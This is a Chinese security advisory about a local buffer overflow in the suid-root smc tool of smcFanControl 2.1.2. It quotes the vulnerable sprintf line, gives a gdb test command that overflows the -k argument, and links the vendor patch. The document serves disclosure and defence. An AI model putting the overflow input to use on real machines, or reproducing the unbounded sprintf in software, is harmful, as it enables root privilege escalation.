安全研究

安全漏洞
smcFanControl smc -k选项本地溢出漏洞

发布日期:2008-11-11
更新日期:2008-11-12

受影响系统:
Hendrik Holtmann smcFanControl 2.1.2
描述:
BUGTRAQ  ID: 32252

smcFanControl是在苹果机器上所使用的用于控制风扇转速的免费软件。

在/Applications/smcFanControl.app/Contents/Resources/smc文件中,smc -k输入选项无法处理超大的缓冲区,这可能导致缓冲区溢出。以下是smc.c中的有漏洞代码段:

-- snip snip --

int main(int argc, char *argv[])
{
    int c;
    extern char   *optarg;
    extern int    optind, optopt, opterr;

    kern_return_t result;
    int           op = OP_NONE;
    UInt32Char_t  key = "\0";
    SMCVal_t      val;

    while ((c = getopt(argc, argv, "fhk:lrw:v")) != -1)
    {
        switch(c)
        {
        case 'f':
            op = OP_READ_FAN;
            break;
        case 'k':
            sprintf(key, optarg); // Overflow !!!
            break;

-- snip snip --

在默认安装中,smc二进制程序是以suid root安装的,这就允许本地用户获得root权限提升。

<*来源:KaiJern, Lau (kjlau@vnsecurity.net))
  
  链接:http://marc.info/?l=full-disclosure&m=122641292929119&q=p5
        http://secunia.com/advisories/32679/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

$ gdb -q /Applications/smcFanControl.app/Contents/Resources/smc
Reading symbols for shared libraries ... done
(gdb) r -k `ruby -e 'print "A" * 45'`BBBBCCCC

建议:
厂商补丁:

Hendrik Holtmann
----------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.macupdate.com/info.php/id/23049

浏览次数:2648
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障